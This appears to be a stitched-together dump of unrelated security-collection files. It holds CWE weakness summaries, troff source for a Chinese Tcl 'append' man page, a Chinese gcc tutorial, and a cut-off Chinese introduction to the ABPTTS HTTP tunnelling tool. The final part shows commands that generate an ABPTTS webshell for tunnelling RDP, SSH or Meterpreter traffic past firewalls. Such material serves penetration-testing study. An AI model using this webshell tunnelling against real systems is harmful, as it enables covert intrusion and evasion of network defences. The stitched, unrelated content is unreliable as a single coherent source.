Failure to Disable Reserved Bits The reserved bits in a hardware design are not disabled prior to production. Typically, reserved bits are used for future capabilities and should not support any functional logic in the design. However, designers might covertly use these bits to debug or further develop new capabilities in production hardware. Adversaries with access to these bits will write to them in hopes of compromising hardware state. ### CWEID:CWE-1230 Exposure of Sensitive Information Through Metadata The product prevents direct access to a resource containing sensitive information, but it does not sufficiently limit access to metadata that is derived from the original, sensitive information. ### CWEID:CWE-1229 Creation of Emergent Resource The product manages resources or behaves in a way that indirectly creates a new, distinct resource that can be used by attackers in violation of the intended policy. ### CWEID:CWE-1232 Improper Lock Behavior After Power State Transition Register lock bit protection disables changes to system configuration once the bit is set. Some of the protected registers or lock bits become programmable after power state transitions (e.g., Entry and wake from low power sleep modes) causing the system configuration to be changeable. ### CWEID:CWE-1236 Improper Neutralization of Formula Elements in a CSV File The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product. ### CWEID:CWE-1231 Improper Prevention of Lock Bit Modification The product uses a trusted lock bit for restricting access to registers, address regions, or other resources, but the product does not prevent the value of the lock bit from being modified after it has been set. ### CWEID:CWE-1234 Hardware Internal or Debug Modes Allow Override of Locks System configuration protection may be bypassed during debug mode. ### CWEID:CWE-1239 Improper Zeroization of Hardware Register The hardware product does not properly clear sensitive information from built-in registers when the user of the hardware block changes. ### CWEID:CWE-1233 Security-Sensitive Hardware Controls with Missing Lock Bit Protection The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration. ### CWEID:CWE-1243 Sensitive Non-Volatile Information Not Protected During Debug Access to security-sensitive information stored in fuses is not limited during debug. ### CWEID:CWE-1235 Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations. ### CWEID:CWE-1241 Use of Predictable Algorithm in Random Number Generator The device uses an algorithm that is predictable and generates a pseudo-random number. ### CWEID:CWE-1245 Improper Finite State Machines (FSMs) in Hardware Logic Faulty finite state machines (FSMs) in the hardware logic allow an attacker to put the system in an undefined state, to cause a denial of service (DoS) or gain privileges on the victim's system. ### CWEID:CWE-1246 Improper Write Handling in Limited-write Non-Volatile Memories The product does not implement or incorrectly implements wear leveling operations in limited-write non-volatile memories. ### CWEID:CWE-1244 Internal Asset Exposed to Unsafe Debug Access Level or State The product uses physical debug or test interfaces with support for multiple access levels, but it assigns the wrong debug access level to an internal asset, providing unintended access to the asset from untrusted debug agents. ### CWEID:CWE-1248 Semiconductor Defects in Hardware Logic with Security-Sensitive Implications The security-sensitive hardware module contains semiconductor defects. ### CWEID:CWE-1249 Application-Level Admin Tool with Inconsistent View of Underlying Operating System The product provides an application for administrators to manage parts of the underlying operating system, but the application does not accurately identify all of the relevant entities or resources that exist in the OS; that is, the application's model of the OS's state is inconsistent with the OS's actual state. ### CWEID:CWE-1240 Use of a Cryptographic Primitive with a Risky Implementation To fulfill the need for a cryptographic primitive, the product implements a cryptographic algorithm using a non-standard, unproven, or disallowed/non-compliant cryptographic implementation. ### CWEID:CWE-1250 Improper Preservation of Consistency Between Independent Representations of Shared State The product has or supports multiple distributed components or sub-systems that are each required to keep their own local copy of shared data - such as state or cache - but the product does not ensure that all local copies remain consistent with each other. ### CWEID:CWE-1247 Improper Protection Against Voltage and Clock Glitches The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device. ### CWEID:CWE-1251 Mirrored Regions with Different Values The product's architecture mirrors regions without ensuring that their contents always stay in sync. ### CWEID:CWE-1252 CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations The CPU is not configured to provide hardware support for exclusivity of write and execute operations on memory. This allows an attacker to execute data from all of memory. ### CWEID:CWE-1253 Incorrect Selection of Fuse Values The logic level used to set a system to a secure state relies on a fuse being unblown. An attacker can set the system to an insecure state merely by blowing the fuse. ### CWEID:CWE-1255 Comparison Logic is Vulnerable to Power Side-Channel Attacks A device's real time power consumption may be monitored during security token evaluation and the information gleaned may be used to determine the value of the reference token. ### CWEID:CWE-1256 Improper Restriction of Software Interfaces to Hardware Features The product provides software-controllable device functionality for capabilities such as power and clock management, but it does not properly limit functionality that can lead to modification of hardware memory or register bits, or the ability to observe physical side channels. ### CWEID:CWE-1258 Exposure of Sensitive System Information Due to Uncleared Debug Information The hardware does not fully clear security-sensitive values, such as keys and intermediate values in cryptographic operations, when debug mode is entered. ### CWEID:CWE-1257 Improper Access Control Applied to Mirrored or Aliased Memory Regions Aliased or mirrored memory regions in hardware designs may have inconsistent read/write permissions enforced by the hardware. A possible result is that an untrusted agent is blocked from accessing a memory region but is not blocked from accessing the corresponding aliased memory region. ### CWEID:CWE-1254 Incorrect Comparison Logic Granularity The product's comparison logic is performed over a series of steps rather than across the entire string in one operation. If there is a comparison logic failure on one of these steps, the operation may be vulnerable to a timing attack that can result in the interception of the process for nefarious purposes. ### CWEID:CWE-1259 Improper Restriction of Security Token Assignment The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected. ### CWEID:CWE-1262 Improper Access Control for Register Interface The product uses memory-mapped I/O registers that act as an interface to hardware functionality from software, but there is improper access control to those registers. ### CWEID:CWE-1264 Hardware Logic with Insecure De-Synchronization between Control and Data Channels The hardware logic for error handling and security checks can incorrectly forward data before the security check is complete. ### CWEID:CWE-1263 Improper Physical Access Control The product is designed with access restricted to certain information, but it does not sufficiently protect against an unauthorized actor with physical access to these areas. ### CWEID:CWE-1260 Improper Handling of Overlap Between Protected Memory Ranges The product allows address regions to overlap, which can result in the bypassing of intended memory protection. ### CWEID:CWE-1265 Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls During execution of non-reentrant code, the product performs a call that unintentionally produces a nested invocation of the non-reentrant code. ### CWEID:CWE-1266 Improper Scrubbing of Sensitive Data from Decommissioned Device The product does not properly provide a capability for the product administrator to remove sensitive data at the time the product is decommissioned. A scrubbing capability could be missing, insufficient, or incorrect. ### CWEID:CWE-1261 Improper Handling of Single Event Upsets The hardware logic does not effectively handle when single-event upsets (SEUs) occur. ### CWEID:CWE-1271 Uninitialized Value on Reset for Registers Holding Security Settings Security-critical logic is not set to a known value on reset. ### CWEID:CWE-1270 Generation of Incorrect Security Tokens The product implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens generated in the system are incorrect. ### CWEID:CWE-1267 Policy Uses Obsolete Encoding The product uses an obsolete encoding mechanism to implement access controls. ### CWEID:CWE-1268 Policy Privileges are not Assigned Consistently Between Control and Data Agents The product's hardware-enforced access control for a particular resource improperly accounts for privilege discrepancies between control and write policies. ### CWEID:CWE-1273 Device Unlock Credential Sharing The credentials necessary for unlocking a device are shared across multiple parties and may expose sensitive information. ### CWEID:CWE-1272 Sensitive Information Uncleared Before Debug/Power State Transition The product performs a power or debug state transition, but it does not clear sensitive information that should no longer be accessible due to changes to information access restrictions. ### CWEID:CWE-1242 Inclusion of Undocumented Features or Chicken Bits The device includes chicken bits or undocumented features that can create entry points for unauthorized actors. ### CWEID:CWE-1276 Hardware Child Block Incorrectly Connected to Parent System Signals between a hardware IP and the parent system design are incorrectly connected causing security risks. ### CWEID:CWE-1277 Firmware Not Updateable The product does not provide its users with the ability to update or patch its firmware to address any vulnerabilities or weaknesses that may be present. ### CWEID:CWE-1269 Product Released in Non-Release Configuration The product released to market is released in pre-production or manufacturing configuration. ### CWEID:CWE-1274 Improper Access Control for Volatile Memory Containing Boot Code The product conducts a secure-boot process that transfers bootloader code from Non-Volatile Memory (NVM) into Volatile Memory (VM), but it does not have sufficient access control or other protections for the Volatile Memory. ### CWEID:CWE-1279 Cryptographic Operations are run Before Supporting Units are Ready Performing cryptographic operations without ensuring that the supporting inputs are ready to supply valid data may compromise the cryptographic result. ### CWEID:CWE-1278 Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy. ### CWEID:CWE-1275 Sensitive Cookie with Improper SameSite Attribute The SameSite attribute for sensitive cookies is not set, or an insecure value is used. ### CWEID:CWE-1280 Access Control Check Implemented After Asset is Accessed A product's hardware-based access control check occurs after the asset has been accessed. ### CWEID:CWE-1281 Sequence of Processor Instructions Leads to Unexpected Behavior Specific combinations of processor instructions lead to undesirable behavior such as locking the processor until a hard reset performed. ### CWEID:CWE-1282 Assumed-Immutable Data is Stored in Writable Memory Immutable data, such as a first-stage bootloader, device identifiers, and "write-once" configuration settings are stored in writable memory that can be re-programmed or updated in the field. ### CWEID:CWE-1283 Mutable Attestation or Measurement Reporting Data The register contents used for attestation or measurement reporting data to verify boot flow are modifiable by an adversary. ### CWEID:CWE-1284 Improper Validation of Specified Quantity in Input The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties. ### CWEID:CWE-1287 Improper Validation of Specified Type of Input The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type. ### CWEID:CWE-1288 Improper Validation of Consistency within Input The product receives a complex input with multiple elements or fields that must be consistent with each other, but it does not validate or incorrectly validates that the input is actually consistent. ### CWEID:CWE-1286 Improper Validation of Syntactic Correctness of Input The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax. ### CWEID:CWE-1289 Improper Validation of Unsafe Equivalence in Input The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value. ### CWEID:CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties. ### CWEID:CWE-1290 Incorrect Decoding of Security Identifiers The product implements a decoding mechanism to decode certain bus-transaction signals to security identifiers. If the decoding is implemented incorrectly, then untrusted agents can now gain unauthorized access to the asset. ### CWEID:CWE-1291 Public Key Re-Use for Signing both Debug and Production Code The same public key is used for signing both debug and production code. ### CWEID:CWE-1292 Incorrect Conversion of Security Identifiers The product implements a conversion mechanism to map certain bus-transaction signals to security identifiers. However, if the conversion is incorrectly implemented, untrusted agents can gain unauthorized access to the asset. ### CWEID:CWE-1293 Missing Source Correlation of Multiple Independent Data The product relies on one source of data, preventing the ability to detect if an adversary has compromised a data source. ### CWEID:CWE-1295 Debug Messages Revealing Unnecessary Information The product fails to adequately prevent the revealing of unnecessary and potentially sensitive system information within debugging messages. ### CWEID:CWE-1296 Incorrect Chaining or Granularity of Debug Components The product's debug components contain incorrect chaining or granularity of debug components. ### CWEID:CWE-1298 Hardware Logic Contains Race Conditions A race condition in the hardware logic results in undermining security guarantees of the system. ### CWEID:CWE-1294 Insecure Security Identifier Mechanism The System-on-Chip (SoC) implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers are not correctly implemented. ### CWEID:CWE-1297 Unprotected Confidential Information on Device is Accessible by OSAT Vendors The product does not adequately protect confidential information on the device from being accessed by Outsourced Semiconductor Assembly and Test (OSAT) vendors. ### CWEID:CWE-1301 Insufficient or Incomplete Data Removal within Hardware Component The product's data removal process does not completely delete all data and potentially sensitive information within hardware components. ### CWEID:CWE-1299 Missing Protection Mechanism for Alternate Hardware Interface The lack of protections on alternate paths to access control-protected assets (such as unprotected shadow registers and other external facing unguarded interfaces) allows an attacker to bypass existing protections to the asset that are only performed against the primary path. ### CWEID:CWE-1300 Improper Protection of Physical Side Channels The device does not contain sufficient protection mechanisms to prevent physical side channels from exposing sensitive information due to patterns in physically observable phenomena such as variations in power consumption, electromagnetic emissions (EME), or acoustic emissions. ### CWEID:CWE-1302 Missing Security Identifier The product implements a security identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. A transaction is sent without a security identifier. ### CWEID:CWE-1303 Non-Transparent Sharing of Microarchitectural Resources Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts. ### CWEID:CWE-1310 Missing Ability to Patch ROM Code Missing an ability to patch ROM code may leave a System or System-on-Chip (SoC) in a vulnerable state. ### CWEID:CWE-1312 Missing Protection for Mirrored Regions in On-Chip Fabric Firewall The firewall in an on-chip fabric protects the main addressed region, but it does not protect any mirrored memory or memory-mapped-IO (MMIO) regions. ### CWEID:CWE-1304 Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation The product performs a power save/restore operation, but it does not ensure that the integrity of the configuration state is maintained and/or verified between the beginning and ending of the operation. ### CWEID:CWE-1313 Hardware Allows Activation of Test or Debug Logic at Runtime During runtime, the hardware allows for test or debug logic (feature) to be activated, which allows for changing the state of the hardware. This feature can alter the intended behavior of the system and allow for alteration and leakage of sensitive data by an adversary. ### CWEID:CWE-1316 Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges The address map of the on-chip fabric has protected and unprotected regions overlapping, allowing an attacker to bypass access control to the overlapping portion of the protected region. ### CWEID:CWE-1311 Improper Translation of Security Attributes by Fabric Bridge The bridge incorrectly translates security attributes from either trusted to untrusted or from untrusted to trusted when converting from one fabric protocol to another. ### CWEID:CWE-1314 Missing Write Protection for Parametric Data Values The device does not write-protect the parametric data values for sensors that scale the sensor value, allowing untrusted software to manipulate the apparent result and potentially damage hardware or cause operational failure. ### CWEID:CWE-1315 Improper Setting of Bus Controlling Capability in Fabric End-point The bus controller enables bits in the fabric end-point to allow responder devices to control transactions on the fabric. ### CWEID:CWE-1318 Missing Support for Security Features in On-chip Fabrics or Buses On-chip fabrics or buses either do not support or are not configured to support privilege separation or other security features, such as access control. ### CWEID:CWE-1320 Improper Protection for Outbound Error Messages and Alert Signals Untrusted agents can disable alerts about signal conditions exceeding limits or the response mechanism that handles such alerts. ### CWEID:CWE-1317 Improper Access Control in Fabric Bridge The product uses a fabric bridge for transactions between two Intellectual Property (IP) blocks, but the bridge does not properly perform the expected privilege, identity, or other access control checks between those IP blocks. ### CWEID:CWE-1319 Improper Protection against Electromagnetic Fault Injection (EM-FI) The device is susceptible to electromagnetic fault injection attacks, causing device internal information to be compromised or security mechanisms to be bypassed. ### CWEID:CWE-1322 Use of Blocking Code in Single-threaded, Non-blocking Context The product uses a non-blocking model that relies on a single threaded process for features such as scalability, but it contains code that can block when it is invoked. ### CWEID:CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. ### CWEID:CWE-1323 Improper Management of Sensitive Trace Data Trace data collected from several sources on the System-on-Chip (SoC) is stored in unprotected locations or transported to untrusted agents. ### CWEID:CWE-1324 DEPRECATED: Sensitive Information Accessible by Physical Probing of JTAG Interface This entry has been deprecated because it was at a lower level of abstraction than supported by CWE. All relevant content has been integrated into :CWE-319:. ### CWEID:CWE-1326 Missing Immutable Root of Trust in Hardware A missing immutable root of trust in the hardware results in the ability to bypass secure boot or execute untrusted or adversarial boot code. ### CWEID:CWE-1328 Security Version Number Mutable to Older Versions Security-version number in hardware is mutable, resulting in the ability to downgrade (roll-back) the boot firmware to vulnerable code versions. ### CWEID:CWE-1325 Improperly Controlled Sequential Memory Allocation The product manages a group of objects or resources and performs a separate memory allocation for each object, but it does not properly limit the total amount of memory that is consumed by all of the combined objects. ### CWEID:CWE-1327 Binding to an Unrestricted IP Address The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely. ### CWEID:CWE-1330 Remanent Data Readable after Memory Erase Confidential information stored in memory circuits is readable or recoverable after being cleared or erased. ### CWEID:CWE-1329 Reliance on Component That is Not Updateable The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs. ### CWEID:CWE-1334 Unauthorized Error Injection Can Degrade Hardware Redundancy An unauthorized agent can inject errors into a redundant block to deprive the system of redundancy or put the system in a degraded operating mode. ### CWEID:CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. ### CWEID:CWE-1331 Improper Isolation of Shared Resources in Network On Chip (NoC) The Network On Chip (NoC) does not isolate or incorrectly isolates its on-chip-fabric and internal resources such that they are shared between trusted and untrusted agents, creating timing channels. ### CWEID:CWE-1335 Incorrect Bitwise Shift of Integer An integer value is specified to be shifted by a negative amount or an amount greater than or equal to the number of bits contained in the value causing an unexpected or indeterminate result. ### CWEID:CWE-1332 Improper Handling of Faults that Lead to Instruction Skips The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur. ### CWEID:CWE-1338 Improper Protections Against Hardware Overheating A hardware device is missing or has inadequate protection features to prevent overheating. ### CWEID:CWE-1333 Inefficient Regular Expression Complexity The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. ### CWEID:CWE-1341 Multiple Releases of Same Resource or Handle The product attempts to close or release a resource or handle more than once, without any successful open between the close operations. ### CWEID:CWE-1351 Improper Handling of Hardware Behavior in Exceptionally Cold Environments A hardware device, or the firmware running on it, is missing or has incorrect protection features to maintain goals of security primitives when the device is cooled below standard operating temperatures. ### CWEID:CWE-1339 Insufficient Precision or Accuracy of a Real Number The product processes a real number with an implementation in which the number's representation does not preserve required accuracy and precision in its fractional part, causing an incorrect result. ### CWEID:CWE-1357 Reliance on Insufficiently Trustworthy Component The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability. ### CWEID:CWE-1385 Missing Origin Validation in WebSockets The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid. ### CWEID:CWE-1386 Insecure Operation on Windows Junction / Mount Point The product opens a file or directory, but it does not properly prevent the name from being associated with a junction or mount point to a destination that is outside of the intended control sphere. ### CWEID:CWE-1342 Information Exposure through Microarchitectural State after Transient Execution The processor does not properly clear microarchitectural state after incorrect microcode assists or speculative execution, resulting in transient execution. ### CWEID:CWE-1384 Improper Handling of Physical or Environmental Conditions The product does not properly handle unexpected physical or environmental conditions that occur naturally or are artificially induced. ### CWEID:CWE-1389 Incorrect Parsing of Numbers with Different Radices The product parses numeric input assuming base 10 (decimal) values, but it does not account for inputs that use a different base number (radix). ### CWEID:CWE-1392 Use of Default Credentials The product uses default credentials (such as passwords or cryptographic keys) for potentially critical functionality. ### CWEID:CWE-1393 Use of Default Password The product uses default passwords for potentially critical functionality. ### CWEID:CWE-1394 Use of Default Cryptographic Key The product uses a default cryptographic key for potentially critical functionality. ### CWEID:CWE-1390 Weak Authentication The product uses an authentication mechanism to restrict access to specific users or identities, but the mechanism does not sufficiently prove that the claimed identity is correct. ### CWEID:CWE-1391 Use of Weak Credentials The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker. ### CWEID:CWE-1395 Dependency on Vulnerable Third-Party Component The product has a dependency on a third-party component that contains one or more known vulnerabilities.
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH append 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME append \- 向变量追加 .SH 总览 SYNOPSIS \fBappend \fIvarName \fR?\fIvalue value value ...\fR? .BE .SH 描述 DESCRIPTION .PP 向变量 \fIvarName\fR 的当前值添加所有的 \fIvalue\fR 参数。如果 \fIvarName\fR 不存在,给她一个等价于所有 \fIvalue\fR 参数的联接 (concatenation)的值。这个命令提供了一个有效的方式来增殖性地增长(build up)变量。例如,如果 \fB$a\fR 很长,``\fBappend a $b\fR'' 比 ``\fBset a $a$b\fR'' 更加有效率。 .SH "参见 SEE ALSO" concat(n), lappend(n) .SH 关键字 KEYWORDS append, variable .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/21 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
gcc === 基于C/C++的编译器 ## 补充说明 **gcc命令** 使用GNU推出的基于 `C/C++` 的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用 `GCC`,怎样才能更好的应用 `GCC`。目前,`GCC` 可以用来编译 `C/C++`、`FORTRAN`、`JAVA`、`OBJC`、`ADA`等语言的程序,可根据需要选择安装支持的语言。 ### 语法 ```shell gcc(选项)(参数) ``` ### 选项 ```shell -o:指定生成的输出文件; -E:仅执行编译预处理; -S:将C代码转换为汇编代码; -wall:显示警告信息; -c:仅执行编译操作,不进行连接操作。 -l:用来指定程序要链接的库,-l参数紧接着就是库名 -I:寻找头文件的目录 ``` ### 参数 C源文件:指定C语言源代码文件。 ### 实例 **常用编译命令选项** 假设源程序文件名为test.c **无选项编译链接** ```shell gcc test.c ``` 将 `test.c` 预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为 `a.out`。 **选项 -o** ```shell gcc test.c -o test ``` 将 `test.c` 预处理、汇编、编译并链接形成可执行文件 `test`。`-o` 选项用来指定输出文件的文件名。 **选项 -E** ```shell gcc -E test.c -o test.i ``` 将 `test.c` 预处理输出 `test.i` 文件。 **选项 -S** ```shell gcc -S test.i ``` 将预处理输出文件 `test.i` 汇编成 `test.s` 文件。 **选项 -c** ```shell gcc -c test.s ``` 将汇编输出文件 `test.s` 编译输出 `test.o` 文件。 **无选项链接** ```shell gcc test.o -o test ``` 将编译输出文件 `test.o` 链接成最终可执行文件 `test`。 **选项 -O** ```shell gcc -O1 test.c -o test ``` 使用编译优化级别1编译程序。级别为1~3,级别越大优化效果越好,但编译时间越长。 **多源文件的编译方法** 如果有多个源文件,基本上有两种编译方法: 假设有两个源文件为 `test.c` 和 `testfun.c` **多个文件一起编译** ```shell gcc testfun.c test.c -o test ``` 将 `testfun.c` 和 `test.c` 分别编译后链接成 `test` 可执行文件。 **分别编译各个源文件,之后对编译后输出的目标文件链接。** ```shell gcc -c testfun.c #将testfun.c编译成testfun.o gcc -c test.c #将test.c编译成test.o gcc testfun.o test.o -o test #将testfun.o和test.o链接成test ``` 以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译。 **加载动态链接库** ```shell gcc hello.c -lpthread -o hello ``` **手动添加文件头路径** ```shell gcc hello.c -lpthread -I /lib64/ -o hello ```
sec-knowleage
### ABPTTS简介: ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是,abptts是全加密。 2016年blackhat介绍: https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun Github: https://github.com/nccgroup/ABPTTS 安装与生成payload: ```bash root@John:~# git clone https://github.com/nccgroup/ABPTTS.git Cloning into 'ABPTTS'... remote: Enumerating objects: 50, done. remote: Total 50 (delta 0), reused 0 (delta 0), pack‐reused 50 Unpacking objects: 100% (50/50), done. root@John:~# pip install pycrypto Requirement already satisfied: pycrypto in /usr/lib/python2.7/dist‐packages (2.6.1) root@John:~# cd ABPTTS/ root@John:~/ABPTTS# ls abpttsclient.py abpttsfactory.py ABPTTS‐Manual.pdf data libabptts.py license.txt README.md settings_overlays template root@John:~/ABPTTS# python abpttsfactory.py ‐o webshell [2019‐01‐28 08:24:28.131919] ‐‐‐===[[[ A Black Path Toward The Sun ]]]===‐‐‐ [2019‐01‐28 08:24:28.131954] ‐‐==[[ ‐ Factory ‐ ]]==‐‐ [2019‐01‐28 08:24:28.131965] Ben Lincoln, NCC Group [2019‐01‐28 08:24:28.131979] Version 1.0 ‐ 2016‐07‐30 [2019‐01‐28 08:24:28.132706] Output files will be created in "/root/ABPTTS/webshell" [2019‐01‐28 08:24:28.132722] Client‐side configuration file will be written as "/root/ABPTTS/webshell/config.txt" [2019‐01‐28 08:24:28.132739] Using "/root/ABPTTS/data/american‐english ‐lowercase‐4‐64.txt" as a wordlist file [2019‐01‐28 08:24:28.136713] Created client configuration file 